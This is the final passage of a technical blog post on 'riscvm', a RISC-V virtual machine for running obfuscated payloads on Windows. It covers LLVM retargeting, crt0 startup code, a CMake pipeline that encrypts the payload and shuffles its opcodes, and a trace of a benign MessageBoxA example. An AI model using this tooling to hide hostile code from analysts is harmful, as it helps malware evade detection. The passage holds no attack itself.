  %import_MessageBoxA = call ptr @riscvm_resolve_import(ptr %USER32.dll_base, i32 -50902915)
  store ptr %import_MessageBoxA, ptr @import_MessageBoxA, align 8
  ret void
}

The resolving itself uses the riscvm_resolve_dll and riscvm_resolve_import functions we discussed in a previous section. The final detail is that user32.dll is not loaded into every process, so we need to manually call LoadLibraryA to resolve it.

Instead of resolving the DLL and import hashes at runtime, they are resolved by the transpiler at compile-time, which makes things a bit more annoying to analyze for an attacker.

Trade-offs

While the retargeting approach works well for simple C++ code that makes use of the Windows API, it currently does not work properly when the C/C++ standard library is used. Getting this to work properly will be difficult, but things like std::vector can be made to work with some tricks. The limitations are conceptually quite similar to driver development and we believe this is a big improvement over manually recreating types and manual wrappers with riscvm_host_call.

An unexplored potential area for bugs is the unverified change to the DataLayout of the LLVM module. In our tests, we did not observe any differences in structure layouts between rv64 and x64 code, but most likely there are some nasty edge cases that would need to be properly handled.

If the code written is mainly cross-platform, portable C++ with heavy use of the STL, an alternative design could be to compile most of it with a regular C++ cross-compiler and use the retargeting only for small Windows-specific parts.

One of the biggest advantages of retargeting a (mostly) regular Windows C++ program is that the payload can be fully developed and tested on Windows itself. Debugging is much more difficult once the code becomes RISC-V and our approach fully decouples the development of the payload from the VM itself.

CRT0

The final missing piece of the crt0 component is the _start function that glues everything together:

static void exit(int exit_code);
static void riscvm_relocs();
void        riscvm_imports() __attribute__((weak));
static void riscvm_init_arrays();
extern int __attribute((noinline)) main();

// NOTE: This function has to be first in the file
void _start()
{
    riscvm_relocs();
    riscvm_imports();
    riscvm_init_arrays();
    exit(main());
    asm volatile("ebreak");
}

void riscvm_imports()
{
    // Left empty on purpose
}

The riscvm_imports function is defined as a weak symbol. This means the implementation provided in crt0.c can be overwritten by linking to a stronger symbol with the same name. If we generate a riscvm_imports function in our retargeted bitcode, that implementation will be used and we can be certain we execute before main!

Example payload project

Now that all the necessary tooling has been described, we can put everything together in a real project! In the repository, this is all done in the payload folder. To make things easy, this is a simple cmkr project with a template to enable the retargeting scripts:

# Reference: https://build-cpp.github.io/cmkr/cmake-toml
[cmake]
version = "3.19"
cmkr-include = "cmake/cmkr.cmake"

[project]
name = "payload"
languages = ["CXX"]
cmake-before = "set(CMAKE_CONFIGURATION_TYPES Debug Release)"
include-after = ["cmake/riscvm.cmake"]
msvc-runtime = "static"

[fetch-content.phnt]
url = "https://github.com/mrexodia/phnt-single-header/releases/download/v1.2-4d1b102f/phnt.zip"

[template.riscvm]
type = "executable"
add-function = "add_riscvm_executable"

[target.payload]
type = "riscvm"
sources = [
    "src/main.cpp",
    "crt/minicrt.c",
    "crt/minicrt.cpp",
]
include-directories = [
    "include",
]
link-libraries = [
    "riscvm-crt0",
    "phnt::phnt",
]
compile-features = ["cxx_std_17"]
msvc.link-options = [
    "/INCREMENTAL:NO",
    "/DEBUG",
]

In this case, the add_executable function has been replaced with an equivalent add_riscvm_executable that creates an additional payload.bin file that can be consumed by the riscvm interpreter. The only thing we have to make sure of is to enable clang-cl when configuring the project:

cmake -B build -T ClangCL

After this, you can open build\payload.sln in Visual Studio and develop there as usual. The custom cmake/riscvm.cmake script does the following:

  • Enable LTO
  • Add the -lto-embed-bitcode linker flag
  • Locale clang.exe, ld.lld.exe and llvm-objcopy.exe
  • Compile crt0.c for the riscv64 architecture
  • Create a Python virtual environment with the necessary dependencies

The add_riscvm_executable adds a custom target that processes the regular output executable and executes the retargeter and relevant Python scripts to produce the riscvm artifacts:

function(add_riscvm_executable tgt)
    add_executable(${tgt} ${ARGN})
    if(MSVC)
        target_compile_definitions(${tgt} PRIVATE _NO_CRT_STDIO_INLINE)
        target_compile_options(${tgt} PRIVATE /GS- /Zc:threadSafeInit-)
    endif()
    set(BC_BASE "$<TARGET_FILE_DIR:${tgt}>/$<TARGET_FILE_BASE_NAME:${tgt}>")
    add_custom_command(TARGET ${tgt}
        POST_BUILD
        USES_TERMINAL
        COMMENT "Extracting and transpiling bitcode..."
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/extract-bc.py" "$<TARGET_FILE:${tgt}>" -o "${BC_BASE}.bc" --importmap "${BC_BASE}.imports"
        COMMAND "${TRANSPILER}" -input "${BC_BASE}.bc" -importmap "${BC_BASE}.imports" -output "${BC_BASE}.rv64.bc"
        COMMAND "${CLANG_EXECUTABLE}" ${RV64_FLAGS} -c "${BC_BASE}.rv64.bc" -o "${BC_BASE}.rv64.o"
        COMMAND "${LLD_EXECUTABLE}" -o "${BC_BASE}.elf" --oformat=elf -emit-relocs -T "${RISCVM_DIR}/lib/linker.ld" "--Map=${BC_BASE}.map" "${CRT0_OBJ}" "${BC_BASE}.rv64.o"
        COMMAND "${OBJCOPY_EXECUTABLE}" -O binary "${BC_BASE}.elf" "${BC_BASE}.pre.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/relocs.py" "${BC_BASE}.elf" --binary "${BC_BASE}.pre.bin" --output "${BC_BASE}.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/encrypt.py" --encrypt --shuffle --map "${BC_BASE}.map" --shuffle-map "${RISCVM_DIR}/shuffled_opcodes.json" --opcodes-map "${RISCVM_DIR}/opcodes.json" --output "${BC_BASE}.enc.bin" "${BC_BASE}.bin"
        VERBATIM
    )
endfunction()

While all of this is quite complex, we did our best to make it as transparent to the end-user as possible. After enabling Visual Studio’s LLVM support in the installer, you can start developing VM payloads in a few minutes. You can get a precompiled transpiler binary from the releases.

Debugging in riscvm

When debugging the payload, it is easiest to load payload.elf in Ghidra to see the instructions. Additionally, the debug builds of the riscvm executable have a --trace flag to enable instruction tracing. The execution of main in the MessageBoxA example looks something like this (labels added manually for clarity):

                      main:
0x000000014000d3a4:   addi     sp, sp, -0x10 = 0x14002cfd0
0x000000014000d3a8:   sd       ra, 0x8(sp) = 0x14000d018
0x000000014000d3ac:   auipc    a0, 0x0 = 0x14000d4e4
0x000000014000d3b0:   addi     a1, a0, 0xd6 = 0x14000d482
0x000000014000d3b4:   auipc    a0, 0x0 = 0x14000d3ac
0x000000014000d3b8:   addi     a2, a0, 0xc7 = 0x14000d47b
0x000000014000d3bc:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3c0:   addi     a3, zero, 0x0 = 0x0
0x000000014000d3c4:   jal      ra, 0x14 -> 0x14000d3d8
                        MessageBoxA:
0x000000014000d3d8:     addi     sp, sp, -0x70 = 0x14002cf60
0x000000014000d3dc:     sd       ra, 0x68(sp) = 0x14000d3c8
0x000000014000d3e0:     slli     a3, a3, 0x0 = 0x0
0x000000014000d3e4:     srli     a4, a3, 0x0 = 0x0
0x000000014000d3e8:     auipc    a3, 0x0 = 0x0
0x000000014000d3ec:     ld       a3, 0x108(a3=>0x14000d4f0) = 0x7ffb3c23a000
0x000000014000d3f0:     sd       a0, 0x0(sp) = 0x0
0x000000014000d3f4:     sd       a1, 0x8(sp) = 0x14000d482
0x000000014000d3f8:     sd       a2, 0x10(sp) = 0x14000d47b
0x000000014000d3fc:     sd       a4, 0x18(sp) = 0x0
0x000000014000d400:     addi     a1, sp, 0x0 = 0x14002cf60
0x000000014000d404:     addi     a0, a3, 0x0 = 0x7ffb3c23a000
0x000000014000d408:     jal      ra, -0x3cc -> 0x14000d03c
                          riscvm_host_call:
0x000000014000d03c:       lui      a2, 0x5 = 0x14000d47b
0x000000014000d040:       addiw    a7, a2, -0x1e0 = 0x4e20
0x000000014000d044:       ecall    0x4e20
0x000000014000d048:       ret      (0x14000d40c)
0x000000014000d40c:     ld       ra, 0x68(sp=>0x14002cfc8) = 0x14000d3c8
0x000000014000d410:     addi     sp, sp, 0x70 = 0x14002cfd0
0x000000014000d414:     ret      (0x14000d3c8)
0x000000014000d3c8:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3cc:   ld       ra, 0x8(sp=>0x14002cfd8) = 0x14000d018
0x000000014000d3d0:   addi     sp, sp, 0x10 = 0x14002cfe0
0x000000014000d3d4:   ret      (0x14000d018)
0x000000014000d018: jal      ra, 0x14 -> 0x14000d02c
                      exit:
0x000000014000d02c:   lui      a1, 0x2 = 0x14002cf60
0x000000014000d030:   addiw    a7, a1, 0x710 = 0x2710
0x000000014000d034:   ecall    0x2710

The tracing also uses the enums for the opcodes, so it works with shuffled and encrypted payloads as well.

Outro

Hopefully this article has been an interesting read for you. We tried to walk you through the process in the same order we developed it in, but you can always refer to the riscy-business GitHub repository and try things out for yourself if you got confused along the way. If you have any ideas for improvements, or would like to discuss, you are always welcome in our Discord server!

We would like to thank the following people for proofreading and discussing the design and implementation with us (alphabetical order):

Additionally, we highly appreciate the open source projects that we built this project on! If you use this project, consider giving back your improvements to the community as well.

Merry Christmas!

❌
❌